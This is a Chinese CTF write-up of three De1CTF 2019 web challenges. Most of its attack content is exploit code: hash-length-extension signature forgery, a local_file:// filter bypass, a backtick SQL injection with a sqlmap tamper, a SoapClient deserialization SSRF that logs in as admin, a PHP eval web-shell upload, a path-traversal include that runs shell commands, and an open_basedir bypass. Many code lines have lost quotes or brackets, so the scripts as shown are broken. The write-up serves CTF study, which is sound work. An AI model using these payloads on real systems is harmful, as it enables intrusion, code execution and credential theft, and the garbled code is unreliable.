[De1CTF 2019]
0x01 SSRF Me
靶机首页就是源码
Hint:提示flag is in ./flag.txt
所以我们得想办法读取这个文件,首先看有哪几个路由,分别有什么用
#generate Sign For Action Scan. 为scan创建一个标志?
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
#核心功能 传参执行Task.Exec()并输出
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
#首页展示源码...
@app.route('/
def index():
return open("code.txt","r").read()
看一下调用的类
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr 利用md5对ip进行了限制“只能”访问外网
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:#如果是action是scan,就往路径下的/result.txt写东西
tmpfile = open("./%s/result.txt" % self.sandbox, 'w
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:#如果是action是read,就往路径下的/result.txt读
f = open("./%s/result.txt" % self.sandbox, 'r
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):#检查签名
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
可以看到有一些校验和waf拦截
还是先继续看核心功能代码
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
显然我们要在这个param里面注类似”file:flag.txt“来拿到flag
但是被waf给拦了
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
gopher也不能用
但是这里只过滤了file没有过滤local_file,或者也可以直接flag.txt
参考:https://bugs.python.org/issue35907
这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径
flag.txt
或./flag.txt
去访问,也可以使用类似的file:///app/flag.txt
去访问,但是file
关键字在黑名单里,可以使用local_file
代替
所以我们可以用local_file:///proc/self/cwd/flag.txt
来访问
然后在action里scan+read
就可以读文件了
执行还需要签名满足
getSign(self.action, self.param) == self.sign
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
因为secret_key是未知的,我们必须先调用geneSign去拿到签名,但该函数限定了action为scan
怎么办?
注意到这个是字符串直接拼一起的,
所以我们一开始调用
local_file:///proc/self/cwd/flag.txtread
就可以拿到对应的签名了
先写一个Exp框架
#coding=utf-8
import requests
conn = requests.session()
url = "http://f3d586ad-6270-49ac-843c-3ca9b419ab4b.node3.buuoj.cn"
def geneSign(param):
param = {
"param": param,
}
resp = conn.get(url+"./geneSign",param=param).text
print resp
return resp
def challenge(action,param,sign):
param = {
"param":param,
}
cookie = {
"action": action,
"sign": sign,
}
resp = conn.get(url+"/De1ta",param=param,cookie=cookie)
print resp
return resp
第二个绕开sign限制的方法还是挺有意思的,利用哈希扩展攻击
利用条件:
- 我们要知道salt(只能是前缀)的长度。
- 要知道任意一个由salt加密后的md5值,并且知道没有加盐的明文。
- 用户可以提交md5值。
这里的salt就是secret_key+filename
工具Hashpump
root@EDI:~/HashPump# hashpump
Input Signature: f173c63af1a6be383330bb97d7714446
Input Data: scan
Input Key Length: 24
Input Data to Add: read
3ff498706cc3cfef41b86e94343ebe97
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
注意要将\x80等字符转换为URL编码,否则会报400错误
Exp2:
#coding=utf-8
import requests
conn = requests.Session()
url = "http://f3d586ad-6270-49ac-843c-3ca9b419ab4b.node3.buuoj.cn"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return resp
def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie).text
return resp
filename = "flag.txt" #长度为8 +16位的key 24位
payload = "scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"
sign = "3ff498706cc3cfef41b86e94343ebe97"
print challenge(payload,filename,sign)
参考资料
https://www.cnblogs.com/20175211lyz/p/11440316.html
0x02 ShellShellShell
拿到源码,据说原来是.swp
文件的泄露,但是buuoj上貌似么有,就直接拿源码了
可以找到攻击点
//views/publish
if($C->is_admin==0) {
...
else{
echo "Hello ".$C->username."<br>";
echo "Orz...大佬果然进来了!<br>但jaivy说flag不在这,要flag,来内网拿...<br>";
if(isset($_FILES['pic'])){
$res = @$C->publish();
if($res){
echo "<script>alert('ok;self.location='index.php?action=publish'; </script>";
exit;
}
else {
echo "<script>alert('something error;self.location='index.php?action=publish'; </script>";
}
}
?>
$C
是Customer类
<?php
require_once 'config.php';
class Customer{
public $username, $userid, $is_admin, $allow_diff_ip;
public function __construct()
{
$this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
$this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
$this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
$this->get_allow_diff_ip();
}
public function check_login()
{
return isset($_SESSION['userid']);
}
public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}
private function is_exists($username)
{
$db = new Db();
@$ret = $db->select('username','ctf_users',"username='$username'");
if($ret->fetch_row())
return true;
else
return false;
}
public function get_allow_diff_ip()
{
if(!$this->check_login()) return 0;
$db = new Db();
@$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
if($ret) {
$user = $ret->fetch_row();
if($user)
{
$this->allow_diff_ip = (int)$user[0];
return 1;
}
else
return 0;
}
}
function login()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code erroar");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name;
$db = new Db();
@$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip,'ctf_users',"username = '$username' and password = '$password' limit 1");
if($ret)
{
$user = $ret->fetch_row();
if($user) {
if ($user[4] == '0' && $user[2] !== get_ip())
die("You can only login at the usual address");
if ($user[3] == '1
$_SESSION['is_admin'] = 1;
else
$_SESSION['is_admin'] = 0;
$_SESSION['userid'] = $user[0];
$_SESSION['username'] = $user[1];
$this->username = $user[1];
$this->userid = $user[0];
return true;
}
else
return false;
}
else
{
return false;
}
}
else
return false;
}
function register()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code error");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name;
if(!$this->is_exists($username)) {
$db = new Db();
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip,'ctf_users',array($username,$password,get_ip(),'0','1); //No one could be admin except me
if($ret)
return true;
else
return false;
}
else {
die("The username is not unique");
}
}
else
{
return false;
}
}
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood,'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic']))
{
$dir='/app/upload/';
move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
echo "<script>alert('".$_FILES['pic']['name']."upload success;</script>";
return true;
}
else
return false;
}
}
function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id,'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;
}
else
{
$filenames = scandir('adminpic/;
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));
}
}
function allow_diff_ip_option()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['adio'])){
$db = new Db();
@$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
if($ret)
return true;
else
return false;
}
}
else
echo 'admin can\'t change this option';
return false;
}
function deletemess()
{
if(!$this->check_login()) return false;
if(isset($_GET['delid'])) {
$delid = (int)$_GET['delid'];
$db = new Db;
@$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
if($ret)
return true;
else
return false;
}
else
return false;
}
}
要让is_admin=1
username
和password
显然都没法注,只有看看ip
了
跟进看一下get_ip
是
function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}
...
这也没法注
那么要去看看数据库的底层操作
class Db
{
private $servername = "localhost";
private $username = "jaivy";
private $password = "***********";#you don't know!
private $dbname = "jaivyctf";
private $conn;
function __construct()
{
$this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
}
function __destruct()
{
$this->conn->close();
}
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function select($columns,$table,$where) {
$column = $this->get_column($columns);
$sql = 'select '.$column.' from '.$table.' where '.$where.';';
$result = $this->conn->query($sql);
return $result;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).';
//preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
$nid =
$sql = 'insert into '.$table.'('.$column. values '.$value;
$result = $this->conn->query($sql);
return $result;
}
public function delete($table,$where){
$sql = 'delete from '.$table.' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
public function update_single($table,$where,$column,$value){
$sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
}
关键在于insert函数
正常流程效果如下
$column
$value
replace前
$value replace 后
大致意思就是因为没过滤反引号:
preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))
//[^`,] 这个正则的意思就是除开 ` 和 ,字符去匹配其他字符。 其实就是处理value是数组的情况
//这段代码的功能就是把`1` => '1'
//但是对于 1`or# => `1`or#` (没有可以切割的)
//然后进行替换的时候(他是根据``配对来匹配的)先匹配了前面的`1`然后后面的or#`就逃逸出单引号了,导致了注入
既然能单引号逃逸,然后就是想办法注入了
register处肯定没办法了,因为参数不可控
还有一处insert是在pulish里
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood,'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));//这里vaule的signature可控,那么就存在注入
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic']))
{
$dir='/app/upload/';
move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
echo "<script>alert('".$_FILES['pic']['name']."upload success;</script>";
return true;
}
else
return false;
}
}
poc
signature= 1`,0x41)#&mood=0
可以看到返回了ok
然后写给sqlmap的temper
用sqlmap跑盲注
# sqlmap/tamper/backquotes.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return "1`,"+payload+")#"
然后拿到admin 的密码(md5)反解后得到jaivypassword
但是admin只能127.0.0.1
登录,这里需要通过SOAP借助PHP反序列化来搞SSRF
可以看到之前publish里面
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
所以$mood
是一个序列化对象,利用之前的逃逸,这部分事实上是完全可控的。
看下反序列化过程
function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id,'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);//这里直接反序列化了,所以可以利用SOAP来SSRF
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;
}
else
{
$filenames = scandir('adminpic/;
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));
}
}
具体可以利用这个脚本(https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540 N1CTF easyphp的脚本改了改)
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
_target = 'http://98da48cd-28a8-4faa-b97a-bf6e8af3b749.node3.buuoj.cn/index.php/'
_action = _target + 'index.php?action='
def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password
def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
return solution
def register(username, password):
resp = sess.get(_action+'register
code = solve_code(resp.text)
sess.post(_action+'register', data={'username':username,'password':password,'code':code})
return True
def login(username, password):
resp = sess.get(_action+'login
code = solve_code(resp.text)
sess.post(_action+'login', data={'username':username,'password':password,'code':code})
return True
def publish(sig, mood):
return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})
def get_prc_now():
# date_default_timezone_set("PRC") is not important
return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])
def get_admin_session():
sess = requests.Session()
resp = sess.get(_action+'login
code = solve_code(resp.text)
return sess.cookies.get_dict()['PHPSESSID'], code
def brute_filename(prefix, ts, sessid):
ds = [''.join(i) for i in product(string.digits, repeat=3)]
ds += [''.join(i) for i in product(string.digits, repeat=2)]
# find uploaded file in max 1100 requests
for d in ds:
f = prefix + ts + d + '.jpg'
resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid})
if resp.status_code == 200:
return f
return False
print '[+] creating user session to trigger ssrf'
sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '
print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 46\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)#这里是利用SOAP打内网的套路
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0, mood))
payload = 'a`, {}); -- -'.format(mood)#这里利用了之前的单引号逃逸
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli'
resp = publish(payload, '0
print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index#, proxies={'http':'127.0.0.1:8080'})
print '[+] admin session => ' + phpsessid
# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})
print '[+] uploading stager'
shell = {'pic': ('eki.php', "<?php eval($_POST['eki']);", 'image/jpeg}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1] # get epoch immediately
if 'upload success' not in resp.text:
print '[-] failed to upload shell, check admin session manually'
sys.exit(0)
关于验证码的问题,这个脚本是利用源代码生成验证码的操作直接查表
function rand_s($length = 8)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
利用这个脚本来生成表
import hashlib
from itertools import product
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]
print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w as f:
for k in captchas:
f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n
拿到shell以后继续打内网
curl 173.188.198.10
拿到下一步
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);//正常情况下 filename = {"1","php"}
}
$ext = end($filename);//end 函数取到的是给数组的最后一次赋值的那个值 那么是 "php"
if($ext==$filename[count($filename) - 1]){ //这里无法通过
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php{
if(strpos($_,$new_name)===false) {
include($_);
} else {
echo "you can do it!";
}
}
unlink($new_name);//这里利用 ../ 路径穿越防止文件被删除
}
else{
highlight_file(__FILE__);
}
filename 使用数组赋值可以绕过
然后后面一个利用../
路径穿越
exp
<?php
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://173.188.198.10",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"file\"; filename=\"glzjin2.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\neki.php\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../eki.php\r\n------WebKitFormBoundary1234567890\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary1234567890--",
CURLOPT_HTTPHEADER => array(
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary1234567890"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
参考资料
https://www.zhaoj.in/read-6170.html
https://www.cnblogs.com/linuxsec/articles/10002646.html
2018-n1ctf/web/easy-php-540:
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540
https://xz.aliyun.com/t/6050#toc-11
2018上海市大学生信息安全竞赛web题解:
0x03 Giftbox
login 命令 username 盲注
这里直接起个flask代理跑totp
验证 参数在main.js
里都可以找到
#coding=utf-8
from flask import Flask,request
import urllib
import pyotp
import requests
app = Flask(__name__)
totp = pyotp.TOTP('GAXG24JTMZXGKZBU',8 ,interval=5)
s = requests.session()
@app.route('/sql
def attack_sql():
attack_url ="http://7a8eeaa2-2dec-40d8-b986-d4ed4e9525ff.node3.buuoj.cn/shell.php"
username = urllib.unquote(request.args.get('username).replace(' ','/**/
params = {
'a' : 'login {0} admin'.format(username),
'totp' : totp.now()
}
r= s.get(attack_url,params=params)
return r.content
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1
然后因为没有过滤直接sqlmap
跑就行了
sqlmap -u "http://127.0.0.1:5000/sql?username=admin" -p username -D giftbox -T users --dump --batch
拿到密码和hint
+------+----------+--------------------------------------------------+
| id | username | password |
+------+----------+--------------------------------------------------+
| 1 | admin | hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333} |
+------+----------+--------------------------------------------------+
登陆后输入隐藏command后
we add an evil monster named 'eval' when launching missiles.
提示launch
时使用了eval
targeting 有对注入命令长度有限制,利用拼接绕过
再绕过open_basedir
的限制
chdir('js');ini_set('open_basedir','..');chdir('..');chdir('/');ini_set('open_basedir','/');printf(file_get_contents('flag'));
=>
targeting a chr
targeting b {$a(46)}
targeting c {$b}{$b}
targeting d {$a(47)}
targeting e js
targeting f open_basedir
targeting g chdir
targeting h ini_set
targeting i file_get_
targeting j {$i}contents
targeting k {$g($e)}
targeting l {$h($f,$c)}
targeting m {$g($c)}
targeting n {$h($f,$d)}
targeting o {$d}flag
targeting p {$j($o)}
targeting q printf
targeting r {$q($p)}